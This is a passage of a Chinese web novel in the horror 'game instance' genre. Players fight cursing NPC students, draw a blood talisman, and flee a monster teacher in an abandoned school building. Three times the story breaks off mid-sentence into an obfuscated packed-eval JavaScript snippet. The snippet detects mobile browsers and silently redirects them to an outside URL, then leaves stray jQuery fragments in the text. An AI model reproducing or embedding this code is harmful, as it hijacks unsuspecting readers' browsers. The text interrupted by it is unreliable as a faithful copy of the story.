“烛火快灭了。”初与序突然道。 景明垂小心翼翼拉开窗帘,所有人的目光都转向窗外:走廊上的烛光正在剧烈摇晃,仿佛被无形的风吹动,随时可能熄灭。 “记得那句话吗?”初与序神色不动,“‘烛火是生与死的界限’,也就是说,当火焰熄灭时,人偶的诅咒才会生效。” 话落的下一秒,走廊上的烛光彻底熄灭了,黑暗吞没了整个副本,伸手不见五指。 初与序立刻掏出打火机,“嚓”地一声亮起,微弱的火苗在黑暗中摇曳,但仅仅照亮了她苍白的侧脸,以及门外那些骤然僵住的身影。 学生们齐刷刷地转过头,数十双眼睛在黑暗中反射着诡异的微光,像一群夜行的野兽。 “不是吧……”随歌的声音绷得极紧,“他们看得见我们?!他们测视力一定满分吧!” 下一秒,所有学生同时扑向教室门! 门板被剧烈撞击,震动地像是要倒塌。随歌和冬逢初立刻伸手抵住,江意将课桌拖过来死死卡住门缝。初与序打开打火机,火苗在剧烈的晃动中忽明忽暗,映出门缝外那些扭曲的面孔。 “新同学,一起玩啊!” 指甲刮擦门板的声音让人难受,景明垂伸手去摸电灯开关,“啪啪”按了好几下,顶灯毫无反应。 “停电了。”她皱眉。 “砰砰砰!” 越来越多的撞击声从四面八方传来,整个班级的学生都聚集在门外。木质门板快要承受不住,门锁在剧烈震动下发出声响。 打火机的火焰再一次摇晃,映照出门缝下密密麻麻的影子。那些学生的脚正以一种诡异的频率踢打着门板。甚至有几道影子正从门缝底下渗进来。 其余几人也看到了这一幕,随歌抄起一把椅子砸向窗户,却发现玻璃纹丝不动。 “新同学,开门啊…” “我们一起玩游戏…” “蜡烛…灭了呢。” 初与序忽得感觉额角刺痛了一下,她伸手触碰,指尖沾上冰凉黏腻的液体,额头上有什么东西缓缓滑下,带着淡淡的铁锈味。 “你额头流血了!”随歌猛地冲过来,一把展开竹扇。扇骨间流转着淡淡的清风,眼看就要触及初与序的伤口。 紧接着,冬逢初忽然也闷哼一声,脖颈迅速流出鲜血,校服衣领被殷红浸透。与此同时,景明垂的手臂、江意的后腰、随歌自己的手腕都毫无征兆地迸开血痕。 “操!他们在扎小人!”随歌的竹扇掉在地上,手腕因突如其来的疼痛而微微发抖。 初与序按住血流不止的额角,目光扫向教室角落。那个在晚自习时被她夺来的景明垂人偶正诡异地颤动着,似乎有看不见的手在操控它。 门外传来嬉笑,伴随着针尖刺入布料的“嗤嗤”声。初与序一把扯出窗帘,正打算将打火机的火苗靠近其边缘。面板立刻在面前自动打开: 【警告!警告!禁止玩家放火!!!】 初与序放弃使用老办法,她又看向窗外。黑暗中的门锁发出一声“咔嗒”的哀鸣,外面的林浩手中拿着银针,正准备朝自己的人偶扎去。 等等…… 扎小人算诅咒,非正式物理攻击。那么既然这些NPC用阴邪之术,那他们就用正统道法,谁也赢不了谁。 “随歌。”她的声音突然在混乱中响起,“给向枝冥打电话。” “啊?现在?”随歌闻言差点跳起来,“那孙子现在在过《阴宅》副本,他会骂死我的。” “打。他是道士,现在只有他知道符咒怎么画。” 随歌骂了句脏话,手忙脚乱地摸出手机。屏幕亮起的瞬间,照亮门缝外密密麻麻的惨白手指。 电话接通的一瞬间,意料之中的,听筒里炸开向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16088153|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枝冥暴怒的吼声:“随歌你大爷的!老子正在和百年厉鬼玩捉迷藏!” 背景音里隐约传来凄厉的鬼哭声和桃木剑破空的风声。 “江湖救急!”随歌吼回去,“可以镇退一切邪祟的符咒怎么画?还有咒语是什么!” 电话那头突然安静了一秒。 “…你们在过《扎人偶》副本?”向枝冥的声音陡然严肃,“妈的这副本阴死人了,等着!” 接着是一阵杂乱的声响,布料摩擦声、符纸撕裂声,以及向枝冥倒吸冷气的声音。 “老子给你画一遍,发过去了,画在门框上,用中指血!”他的声音咬牙切齿,语速飞快,“天有天将,地有地袛,聪明正直,不偏不私,斩邪除恶,解困安危,如干神怒,粉骨扬灰。咒语念三遍,记好了!挂了!” 随歌的手机震动了一下,照片里的符咒是用血画的,歪歪扭扭,明显是仓促之作,但每一笔血色都泛着金光。 “这咒语这么长,谁记得住!”随歌忍不住怒道。 “我来。”初与序将打火机塞进景明垂手中,拿过手机,毫不犹豫地用短刀划破中指,“帮忙按着门,别让他们进来。” 血珠凝在指腹,将落未落。她闭了闭眼,再睁开时,眸底一片冷寂。 “天有天降,地有地袛。” 第一笔落下,猩红的血线在门板上划开一道凌厉的线。门外抓挠声骤停,取而代之的是几声惊慌的抽气。 “聪明正直,不偏不私。” 横折如刀,血珠顺着木板上的纹路缓缓滑落,门板突然剧烈震动起来,似乎是有什么东西在拼命后退。冬逢初和随歌死死抵着门,能清晰地感觉到门另一侧的推力正在减弱。 “斩邪除恶,解困安危。” 初与序的手很稳,血符的走势没有一丝颤抖。随着咒文继续,血线开始泛起极淡的金光,在漆黑中如萤火般明灭。 直到倒数第二笔时,血线在末端微微上扬,整个门框“嗡”地震动,灰尘簌簌落下。 景明垂盯着门缝,那里原本挤满的苍白手指,此刻正以肉眼可见的速度枯萎,最后化作黑灰簌簌飘散。 “如干神怒……” 最后一句,初与序猛地收笔,血珠在符尾重重一顿。 整张血符骤然亮起刺目的金光,又瞬间隐没。 “粉骨扬灰。” 死寂。 门外再无半点声息。 初与序缓缓收回手,额角和指腹的伤口已经不再流血。她垂眸看着完成的血符,再度开口,按照向枝冥所说,将符咒重复两次。每念一遍,血符的光芒就更盛一分,直到第三次结束时,整扇门都笼罩在淡金色的微光里。 随歌试探着松开抵门的手。 门外空无一人,只有地上一摊人形的黑灰,和几根散落的,还尚未烧尽的蜡烛。 “解决了?”冬逢初小声问。 “暂时。”初与序擦掉指尖残留的血迹,“但今晚安全。” 她看向窗外,远处走廊的尽头,仍有烛光在黑暗中幽幽闪动。 60.扎人偶 走廊空无一人,随歌从门缝里探出头,左右看了看,又缩回脖子,戳了戳冬逢初。 “喂,冬逢初,陪我去趟卫生间呗…外面太黑了。” 冬逢初忍不住笑出声,也没有拒绝:“行。” 两人小心翼翼推开教室木门,来到走廊尽头的卫生间。随歌站在门口,盯着黑漆漆的门内,烦躁地抓了抓头发,小声嘟囔:“你说他们厕所隔间底下不会有缝隙吧?就是那种能看见对面蹲着双红绣鞋的缝隙……” “我就在外面等着。”冬逢初靠在墙边,目光警惕地扫视着四周,“注意安全。” 随歌无声地推门进去,竹扇已经被牢牢握在手里。 冬逢初抬头看了一眼墙壁上的挂钟,凌晨三点十七分。 卫生间传来水龙头的滴水声,还有随歌刻意放轻的脚步声。走廊里安静得过分,只有远处偶尔传来烛火摇曳的细微响动。 然后,他听到了别的声音。 “嚓......嚓......” 像是针尖划过布料的声响,很轻,却足够清晰,和刚才教室门外NPC扎小人的动静一模一样。 冬逢初在原地站了几秒,无声地离开墙边,脚步放轻,循着声音走向走廊拐角的阴影处。 一个穿着蓝白校服的男生正蜷缩在角落里,背对着楼梯。他的手里捏着一个未完成的小布偶,针线在昏暗的光线下泛着光。他的动作很急,嘴里还念念有词,像是在赶工。 冬逢初静静地看了一会儿,忽然笑了: “晚上好。” 他温声开口,嗓音低沉柔和,像是在和一位老朋友打招呼。 男生被吓到,浑身一抖,针尖扎进自己的手指,血珠瞬间溢出。他僵硬地回头,对上了冬逢初那双带着笑意的眼睛。 他忽然想起这场面在晚自习时也发生过,只是那时发现NPC扎小人的人是初与序。 “你……!” 男生想跑,却被冬逢初一把扣住手腕,力道不重,却让人挣脱不开。冬逢初的目光落在他手里的人偶上,笑意更深:“这么晚了,还在做手工?” 男生脸色惨白,手指死死攥着人偶,针尖还插在上面。他左右看了看,似乎想寻找其余NPC学生帮忙,但周围空无一人。 冬逢初轻轻叹了口气,像是很无奈,然后直接伸手,捏住了人偶的头,顺手拔下细针。 “还给我!”男生尖叫,挣扎间针尖划过冬逢初的手臂,留下一道细长的血痕。 冬逢初平静地低头看了眼自己手臂,对应位置的皮肤下迅速浮现出一片淤青,隐隐作痛,像是被重物击中。他轻笑一声,稍稍用力,从对方手里抽走了人偶。 男生瘫坐在地上,嘴唇发抖。 冬逢初低头端详着手里的小布偶,布料粗糙,针脚歪扭,上面用血写着一个名字。 「随歌」 “你们真的很烦。”冬逢初抬起头,居高临下地看着他,“这个布偶,我拿走了。” 他松开男生的手腕,顺手拍了拍对方的脸,笑容温柔:“我们下次见。” 说完,他转身离开。 走廊尽头,卫生间的门刚好打开,随歌见到冬逢初还在这里,松了口气:“还好还好,卫生间里没有人…但我总感觉背后凉飕飕的。” 冬逢初笑了笑,将手中写着随歌名字的布偶塞进他手中:“你的人偶,刚刚在地上捡到的,收好了。” 随歌接过人偶,总觉得放哪也不适合,干脆徒手把布料全部撕碎,丢进了垃圾桶,跟着冬逢初回了教室。 后半夜守夜的是初与序和景明垂,窗外夜色依旧浓稠,远处的树影在风中摇晃。但幸运的是,没有再发生什么诡异的事情。 凌晨五点二十分,天光未亮。 教室里的空气泛着凉意,初与序坐在角落的椅子上看着“嘀嗒”走的时钟;景明垂坐在讲台边缘,时不时抬眼看一眼教室门。 又过了几分钟,其余三人陆续醒来。 随歌打了个哈欠,随手揉了下他一头标志性的黄毛:“今天白天我们去干什么?” 初与序正低头翻开着昨天从图书馆顺来的校刊,闻言眼皮都没抬:“逃课。” “哈?这么刺激?” 初与序合上校刊,淡淡道:“白天NPC都在活动,教学楼也没有线索。我们没时间耗在这里,得去其他地方查当年的真相。” 景明垂抱着胳膊站在窗边,示意众人去看远处那栋灰白色的建筑,那应该是旧教学楼,窗户蒙着厚厚的灰尘,但隐约能看见走廊上有黑影在缓慢移动。 “有老师在巡视。”她低声道,“而且楼下有保安。” 江意观察了一会,开口:“我去引开保安。那里可能有侧门,你们想办法进去。” 初与序点头:“行。” “那走廊上的老师就交给我。”随歌嬉皮笑脸,“我就不信我这一头黄毛引不走他。” 趁着学生们还没有出来,五人来到旧教学楼楼下,屏息躲在一棵大树后面。初与序半蹲在最前方,透过枝叶的缝隙盯着校园。 晨雾弥漫的校园里,学生们拖着脚步从宿舍楼鱼贯而入。他们的身影在雾气中显得模糊扭曲,像一群提线木偶,沉默地朝着教学楼移动。 随歌忽然抬手,示意几人看向学生人群的最后方。 三个学生停在教学楼门口没有进出,反而转过身,空洞的目光直勾勾地扫视着操场,其中一人缓缓抬起手,指向了这边! 五人瞬间绷紧身体,不敢出声。 那三个学生歪了歪头,最终转身走进了教学楼。 “他们知道我们在外面……”冬逢初就站在初与序身后,声音很轻。 直到上课铃刺破寂静,最后一个学生的身影也消失在教学楼里,五人才松了口气。整个校园陷入诡异的宁静,连鸟叫声都没有。 江意抬起右手,腕上的机械手环亮起暗红冷光。他五指微张,对准五米外的铁皮垃圾桶。 【重力场两倍】 无形的重力场扭曲一瞬,沉重的垃圾桶猛地倒扣,垃圾轰然倾泻而出,易拉罐叮叮当当滚了满地。 保安室的门“砰”地撞开,中年保安骂骂咧咧地朝江意的方向冲来:“哪个小兔崽子?!” 同一秒,四道身影如离弦之箭般冲向旧楼侧门。生锈的铁门发出细微的“吱呀”声,景明垂用琴弦飞快撬锁,顺利地打开了门。里面涌出陈腐的霉味,初与序刚想进去,肩膀突然被冬逢初按住。 脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16088154|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海里传来冬逢初用耳骨夹传递的心念:“看楼上。” 初与序缓缓抬头,二楼窗口,一个教师模样的黑影正静静立着,惨白的脸贴在玻璃上,直勾勾盯着他们,露出一个诡异的笑容来。 “......” 和学生打招呼也没必要这么打吧?! “随歌,靠你了。”初与序慢悠悠开口。 “收到。”随歌咧开嘴,露出一抹狂气的笑。他猛地从藏身处跃出,手中竹扇“唰”地展开。 “喂——那个谁!” 他故意拉长声调,声音在空荡的校园里炸开。竹扇狠狠一挥,霎时间阴风怒号,枯叶与沙石形成小型龙卷风,噼里啪啦砸向二楼窗户。玻璃窗在狂风中剧烈震动,映出教师瞬间扭曲的面容。 风掀起了随歌额前明晃晃的黄发,在灰暗的校园里刺目得像太阳。教师的脖子发出“咔咔”的声响,竟然扭转了180度,后脑勺的碎发间缓缓裂开一道血缝。 “逃...课...” 声音从二楼飘下来,教师的四肢突然拉长,像蜘蛛般扒住窗框。它的衣服纽扣崩飞,露出腹部密密麻麻的针脚。那里缝着十几个迷你人偶,随着它的动作疯狂摇晃。 “我靠!没人告诉我这老师是个副本怪物啊!!!”随歌惨叫,但手中动作不停,竹扇再次掀起狂风。这次风中夹杂着雨点,打在怪物脸上。它腹部的针线开始崩裂,几个人偶掉在地上发出婴儿般的啼哭。 下一秒,怪物发出非人的尖啸,整个身体从二楼窗户弹射而出,像只畸形的青蛙般重重砸下来。随歌立刻跳开,拔腿狂奔,嘴里大喊: “四小时后我没回来记得给我烧草莓牛奶!” 狂风裹着随歌的哀嚎远去,怪物四肢并用追入树林,所过之处树皮上留下深深的指甲抓痕。而初与序三人,早已无声地潜入了旧教学楼。 旧教学楼走廊的墙壁墙皮剥落,灰尘扑面。初与序停在分叉口,头顶的“主任办公室”标牌斜斜挂着,锈蚀的铁钉总让人觉得随时会脱落。 “一起行动太慢了。”她忽然开口,声音在走廊激起细微的回音。 冬逢初扫视着两侧密密麻麻的门牌,什么档案室、教务处、教师办公室......每扇门后都可能藏着线索,也可能藏着比外面教师怪物更可怕的东西。 “分开找?”景明垂的琴弦在指尖缓慢游走,她看向尽头标着「生物实验室」的房间,又移开目光。 初与序点头,走向远处:“一小时后集合,如果遇到危险就……” 【警告!禁止使用火焰攻击,禁止成为纵火犯,尤其是玩家初与序!】 系统的机械音响起,初与序静了两秒,沉默地走向远处的教务室。风掀动了地面积灰,露出下面密密麻麻的指甲抓痕。 走廊里的灯泡“滋滋”闪烁两下。另外两人打了个招呼,分开行动。 冬逢初转身走向档案室,景明垂则发现生物实验室的门缝下有暗红色的液体缓缓渗出,她毫不犹豫地避开那里,走上去往二楼的楼梯。 三人的背影在幽暗的走廊上渐行渐远,各自没入不同的黑暗中。整栋楼安静得可怕,只有天花板某处传来“咚、咚”的闷响,像是有什么东西被吊着,在缓缓摆动…… 61.扎人偶 教务处的门锁早已生锈,初与序轻轻一推,就发出刺耳的声响。 室内弥漫着霉味,阳光透过脏污的玻璃窗斜射进来,灰尘在光束中缓缓浮动,像是无数细小的幽灵。 她无声踏入,鞋子踩在翘起的木地板上,每一步都谨慎地避开会发出声响的裂缝。办公桌上堆积着厚厚的灰,唯独桌角一块长方形区域干净得出奇。 最近有人动过。 初与序的目光扫过文件柜,最终停在最下层一个上了锁的抽屉。锁是老式的黄铜锁,已经氧化发黑,但锁孔处有明显的新鲜划痕。 她打开面板,从里面取出特意带进副本的黑色发卡,轻轻探入锁孔。随着一声轻微的“咔哒”。抽屉滑开。 里面躺着一本皮质封面的班级日志,边角已经卷曲,像是被人反复翻阅过。初与序翻开第一页,手指在泛黄的纸页上停顿住。 「2015年11月15日,高三(4)班李明同学于旧教学楼厕所自缢。经调查,系长期遭受同学欺凌所致...」 字迹工整,几乎刻板,但“欺凌”二字被反复描粗,墨水晕染开来,像是记录者用力到戳破纸背。 初与序继续往后翻,但后续几页的记录却越来越简略: 「11月16日,班级停课。」 「11月17日,心理辅导。」 「11月18日,转学手续办理中...」 最后一条记录戛然而止,后半页被人粗暴地撕去,只留下锯齿状的边缘。 初与序忍不住敲了敲面板:“系统,为什么你每次给的线索都只有一半?” 【听不见~】 初与序低头,手指抚过那道残缺的裂痕,突然触碰到某种黏腻的触感。她抬起手指,借着昏暗的光线,看到暗红色凝固液体。 血? 已经氧化发黑的陈旧血迹,黏在纸页边缘,像是有人翻阅时被划伤手指留下的。 没等她想明白,窗外忽然传来树枝刮擦玻璃的声响。初与序猛地合上日志,余光瞥见走廊尽头有一道佝偻的影子正缓缓靠近。 有人来了。 她迅速将日志塞进校服内侧,闪身躲到档案柜后的阴影里。脚步声在门外停下,生锈的门把开始缓缓转动,发出“咔”的一声脆响。 初与序的呼吸放得很轻,右手摸向腰间,将短刀拔出。 门被推开的速度异常缓慢,像是有人在刻意制造紧张感。先是一只惨白的手探进来,指甲缝里塞满黑红色的污垢,接着是半边肩膀,最后,一颗头颅从门缝里挤了进来。 不是人类应有的角度,那脖子扭转了近乎180度,后脑勺超前,面部超后,嘴角却诡异地向上扬起。它的衣服纽扣崩开,露出布满针线的肚皮,上面缝着一张扭曲的嘴。 “找到你了…” 初与序在他完全挤进门的瞬间动了,她猛地踹翻档案柜,金属柜体轰然砸向怪物。怪物不躲不闪,腹部的人嘴突然张大到撕裂针线,一口咬住飞来的柜角! “咔嚓!”一声,铁皮柜像饼干般被咬碎,初与序趁机闪到怪物侧面,短刀狠厉地划向它的脖颈。 刀刃割开皮肉的触感很软了,像是扎进装满棉絮的布偶。怪物脖子喷出的不是血,而是一团团黑色头发。它的头颅歪斜地挂在脖子上,嘴角越裂越大。 【恭喜玩家初与序触碰隐藏剧情——校园追逐战!】 【规则:此怪物无法杀死,无法击退,速度极快,追踪能力超前。】 【警告!警告!建议玩家初与序现在立刻马上想办法逃离它的视野范围!】 【目标:安全返回高三(4)班教室!】 下一秒,怪物的手猛地掐住她的喉咙:“抓到…你了…” 初与序猛地抬膝,狠狠顶在怪物腹部,趁着它吃痛松手的瞬间,转身撞碎教务处的窗户,纵身跃了出去。 玻璃碎片在阳光下折射出刺目的光,初与序落地翻滚,右臂被碎玻璃划出几道血痕。她顾不上疼,爬起来就往教学楼后方的树林冲去。 身后,窗户里传来怪物非人的尖啸,脚步丝毫不停。它的速度极快,树皮被它的指甲抓出深深的沟壑,木屑飞溅。 初与序猛地拐弯,冲进一栋废弃的实验楼。走廊阴暗潮湿,天花板垂落着蛛网,地板上积着厚厚的灰尘,每一步都留下侵袭的脚印。 她撞开一扇实验室的门,闪身进去,反手锁门。门刚合上,外面就传来“咚”的一声巨响!怪物撞在了门上,木板瞬间凹陷! 初与序还真没想到在校园副本里也会“跑”八百米。她喘着气,目光迅速扫视实验室。破碎的试管、生锈的铁架台、角落里堆放的标本罐。 “砰!砰!” 门板被撞得摇摇欲坠,锁扣已经开始变形。 初与序轻轻叹了口气,管不了那么多,一脚踹翻铁架台,玻璃器皿砸在地上,碎成尖锐的渣滓。 下一秒,系统面板猛地弹出,上面浮现一行血红大字: 【警告!警告!如果您再次纵火、引发爆炸,回到永冬之城后将受到处罚。】 初与序装作看不见,打翻酒精灯,火焰“呼”地窜起,瞬间点燃了地上的酒精。随后翻身从后窗跃出,身后传来怪物撞破门的巨响,接着是火焰爆燃的轰鸣和怪物痛苦的嘶吼。 初与序落地,趁机拉远距离,冲到较安全的区域,才停下休息。 脑海里响起冬逢初的焦急的声音:“初与序?你现在在哪里?怪物还在追你吗?” 初与序弯腰喘了口气:“我在教学楼外墙边,会安全回来……” 下一秒,不远处传来熟悉的骂声:“操!这老东西怎么还会爬墙?!” 她转头,看见一个黄毛正被之前那个四肢反折的教师追得上蹿下跳。那怪物像壁虎一样贴在教学楼外墙上,墙壁180度扭转,死死盯着随歌。 “随歌!” 初与序喊了一声,引起随歌注意,同时随手抄起地上半截钢筋,猛地掷向怪物。钢筋精准地扎进怪物的肩膀,它发出一声刺耳的嘶叫,动作停住。 随歌立刻拉开距离,竹扇一挥,狂风卷着沙石糊了怪物一脸。 “初与序你是我的救命恩人!!”随歌咧嘴一笑,但笑容很快僵住,“……等等,你后面!” 初与序不用回头也知道,那个杀不死的蜘蛛怪物,已经冲破火焰,朝她扑来! 两人拔腿就跑,初与序猛地跃上围墙,随歌紧随其后。围墙另一侧是学校的老旧仓库区,堆满了生锈的体育器材。 “分开跑,教室见!”初与序低声道。 随歌点头,竹扇一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16097131|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 展,借着风势跃向另一栋矮房。初与序则沿着围墙急疾奔,身后的怪物四肢并用,爬行速度快得惊人。 怪物猛地扑上来,伸出手一把扣住她的右腕穴位,初与序闷哼一声,短刀差点脱手。 “抓到…你了…” 怪物咧开嘴,另一只手猛地朝她的脸抓来! 初与序猛地偏头,本能地抬手遮住左眼,下一秒瞬间变了脸色,手微微发抖。 完了。 这个动作暴露了一切。 她的右眼本就半盲,左眼才是她真正依赖的视觉。她下意识护住左眼,却等于直接告诉怪物:“我有一只眼睛是弱点”,就看怪物怎么猜了。 “嘻……” 怪物的喉咙里挤出一声扭曲的笑,原本抓向她咽喉的手突然转向,尖锐的指甲直刺她的右眼! 初与序侧头,指甲擦着她的太阳穴划过,带出一线血痕。她踉跄后退,余光却瞥见身旁教学楼的窗户,有烛光。 摇曳的烛光映照下,教室里站着几个NPC学生,林浩也在内。其中一个捧着蜡烛,火光映出他惨白的脸,而林浩的手里,正捏着初与序的人偶。 他们齐刷刷转过头,冲她露出诡异的微笑。 然后,林浩轻轻吹灭蜡烛火苗,缓缓举起一根银针,对准人偶的右眼。 初与序的警告还未出口,针已经狠狠扎下! 剧痛瞬间袭来,她的右眼视线彻底陷入黑暗。温热的液体顺着脸颊滑下,血腥味在口腔里弥漫。她硬生生把惨叫咽了回去。 怪物兴奋地颤抖起来,腹部缝合的嘴裂开,露出密密麻麻的针牙。 “抓到…弱点了…” 初与序的左眼死死盯着教室里的NPC学生。他们还在笑,从窗外透进来的阳光映在他们脸上,像一群围观虐杀的恶鬼。 初与序单手捂住血流如注的右眼,死死攥紧此刻正在疯狂颤动的短刀,狠狠扎进怪物的手腕!怪物吃痛松手,初与序趁机一脚踹开它,翻身从围墙上滚落。 同一时刻,冬逢初正在副本另一端与一群NPC学生对峙。 剧痛袭来的瞬间,初与序没有发出声音。但冬逢初的戴着耳骨夹的耳骨处突然爆发尖锐疼痛,他腰间的冰蓝长剑剧烈震颤,剑身上的勿忘我花纹迸发出刺目蓝光。 初与序的左眼视野里,世界仿佛被切割了一半,只剩下模糊的色块和晃动的影子。她跌跌撞撞爬起来,踉跄着往教学楼方向冲去。 身后,怪物从围墙上跃下,四肢着地,像野兽般追来。 初与序冲进教学楼,拐进一条狭窄的走廊,猛地推开一扇储物柜,钻了进去。 柜门合上的瞬间,怪物的脚步声停在了门外。 “滴答…滴答。” 血从她的指缝滴落,砸在柜底,声音在寂静中格外刺耳。初与序屏住呼吸,左眼透过柜门的缝隙盯着外面。 怪物就站在柜门前,歪着头,像是在嗅闻空气中的血腥味。 “找到…你了…” 它的手缓缓伸向柜门,柜门被拉开的一瞬间,初与序猛地将短刀扎进怪物的掌心! 怪物吃痛收手,她沉静冲出,短刀狠狠劈向它的脖颈。 依旧无效,但这一刀逼得它后退了两步。 初与序没有恋战,转身就跑。 62.扎人偶 初与序的右眼已经彻底看不见了,左眼的视野也开始模糊。但她记得路,拐过两个弯,就是高三(4)班的教室。 身后的怪物发出愤怒的尖啸,紧追不舍。 初与序踹开教室门,冲了进去,反手锁门。 【恭喜玩家初与序成功回到高三(4)班教室,完成隐藏剧情。】 “初与序?!” 江意的声音传来,她模糊地看到一个人影朝她跑来。她捂着眼睛背靠门板,语气飞快:“离我远点!” 江意伸出的手僵在原地:“你......” 教室门板被初与序的后背抵得发颤,指缝间渗出的鲜血顺着腕骨滑进袖口,在深蓝校服上晕开一片暗色。 “离我远点。”初与序又重复了一句,蜷起一条腿横在身前,染血的短刀斜插在地板缝隙里,刀刃映出半边染血的连。这个姿势既像防御又像警告,仿佛靠近的人都会被她攻击。 窗外突然传来重物坠地的闷响,冬逢初撑着窗台翻进来,左手小臂血肉模糊,校服袖口被撕成条状胡乱缠在伤口上,暗红的血珠滴在窗框上。 他的目光精准落在初与序捂住的右眼上,瞳孔微微一颤,往前走了一步,但初与序却撑着地往角落里挪,明显不想让冬逢初靠近。 冬逢初没再靠近,只是缓慢地蹲下身,从面板里拿出干净的布条放在地上,推到她触手可及的地方。 “血再流下去,你会看不清。” 初与序扯了扯嘴角,声音平静:“已经看不见了。” 教室里瞬间死寂。 冬逢初慢慢伸出手:“能让我看看吗?” 初与序的呼吸很轻,捂住右眼的手终于微微松了松。冬逢初抓出这一瞬的机会,向前半步,指尖轻轻碰了碰她的手腕,没被甩开。 他这才真正靠近,动作极轻地拨开她挡在眼前的手,掀开刘海。 右眼已经完全灰败,瞳孔涣散,血从眼眶滑下,像一滴血泪。冬逢初愣了愣,但声音很稳:“随歌不在,先简单处理。” 江意从自己面板中掏出一小瓶酒精,递给冬逢初。冬逢初将酒精倒在布条上,然后极轻地按在她伤口周围。 “景明垂和随歌呢?”初与序突然问。 江意站在窗边,看着窗外淅淅沥沥下着的小雨:“还没回来。” 冬逢初的动作没停,动作很轻,用绷带一圈圈缠好她的右眼,最后打了个结。初与序能感觉到他的手在抖,但她没有说话。 处理好一切,冬逢初站起身,从腰间抽出长剑,剑缝在昏暗的教室里泛着冷光。 江意无声地走到他身侧,两人对视一眼,什么都没有说。 初与序也没问,她只是向后靠回墙上,短刀横在膝头,左眼半阖,像是累了。 “我们马上回来。”冬逢初最后看了她一眼,转身推门而出。江意紧随其后,身影很快消失在走廊的阴影里。 教室里只剩下初与序一个人,和窗外越来越急的雨声。 她慢吞吞站起身,将短刀收入刀鞘。目光扫过教室的课桌、黑板、歪斜的讲台。她蹲下身,手指沿着地板缝隙一寸寸摩挲,直到在某处松动的地板前停下。 她撬开那快腐朽的地板,灰尘簌簌落下,地板下的空间里,堆着几个发黄的纸包,用红线捆着。她挑开其中一个,红线断裂的瞬间,一缕黑发滑了出来,发尾还粘着干涸的血块。 另一个纸包是指甲碎片,边缘参差不齐,像是被人硬生生从甲床上撕下来的。 她用刀尖挑起一根头发对着光观察。 果然。 这些人偶的“增强物”被刻意藏在教室的地板下,NPC们需要这些“媒介”才能完成致命诅咒。没有头发和指甲,并且蜡烛没有熄灭,他们的人偶就只能是普通的布娃娃。 初与序小心翼翼地将纸包全部收进口袋,全程没有触碰里面的东西。 黄昏的光线像稀释的血,从窗户斜斜地泼进来。教室门被推开,发出“吱呀”声。 冬逢初第一个踏进来,长剑拖在身后,剑尖在地板上划出一道蜿蜒的血痕。他的校服外套不见了,白衬衫被血和雨水浸透,紧贴在身上,勾勒出肌肉线条。 景明垂走在最后,手中攥着一半残破的素描本。湿发贴在苍白的脸颊上,左手食指被绷带缠着,似乎断了。 她看了初与序一眼,嘴唇动了动,但最终什么也没说。随后走到讲台上,将素描本摊开在课桌上:“素描本,在美术室找到的。” 泛黄的纸页上,密密麻麻画了扭曲的人偶。有的被针扎穿心脏,有的被红线勒住脖子,每一幅都标注着日期和名字。翻到最后一页,角落里用红笔写着一行字: 「人偶游戏规则:集齐全班签名者获胜——高三(4)班全体」 初与序也拿出之前在教务处找到的班级日志和纸包,与素描本放在一起。江意看到她右眼的绷带仍在隐隐渗血。 江意直接合上两本本子,在众人疑惑的视线中,开口道:“这次我们选择提前通关。” “什么意思?”景明垂问。 “就是屠杀。”江意站在教室中央,雨水顺着他的发梢滴落,“不找真相,不破诅咒,直接杀光所有NPC和怪物,系统会提前判定通关。” “提前通关的成功率只有两成。”初与序撑着桌面,不可置信道,“这就是你的办法?” 江意没动,目光平静却不容反驳:“是。” “你要送死?”初与序忍不住道,“这次副本的怪物等级你也知道,杀死他们难如登天。” “比普通通关好。”江意冷冷道,“拖到第三夜,风险更大。你的眼睛撑不到那时候。” 初与序忍不住皱眉:“所以这么做是因为我的眼睛?我不需要……” “不是因为你的眼睛,是因为你的失误。”江意打断她,一字一句道,“他们已经知道了你的弱点,下一次攻击一定会瞄准你的左眼。到时候你彻底看不见,我们连两成的机会都没有。” “你可以继续逞强,但在这个副本里,一个人的弱点就是全队的死穴。” 初与序的表情依旧平静,她沉默地和江意对视片刻,最终将短刀插回鞘中,低声道:“抱歉。” 随歌小心翼翼凑到初与序身边,低声解释:“意哥他说话就这样,你听听就行,别当真。现在我们五人都受伤了,这种情况下提前通关确实比普通通关更好点……” 初与序垂眼不说话。 “既然NPC喜欢玩人偶游戏,那么我们先陪他们玩。”江意看向其余三人,指向讲台上的纸包,“除了这些‘媒介’,我们要在天黑前找到制作人偶的其他材料。” 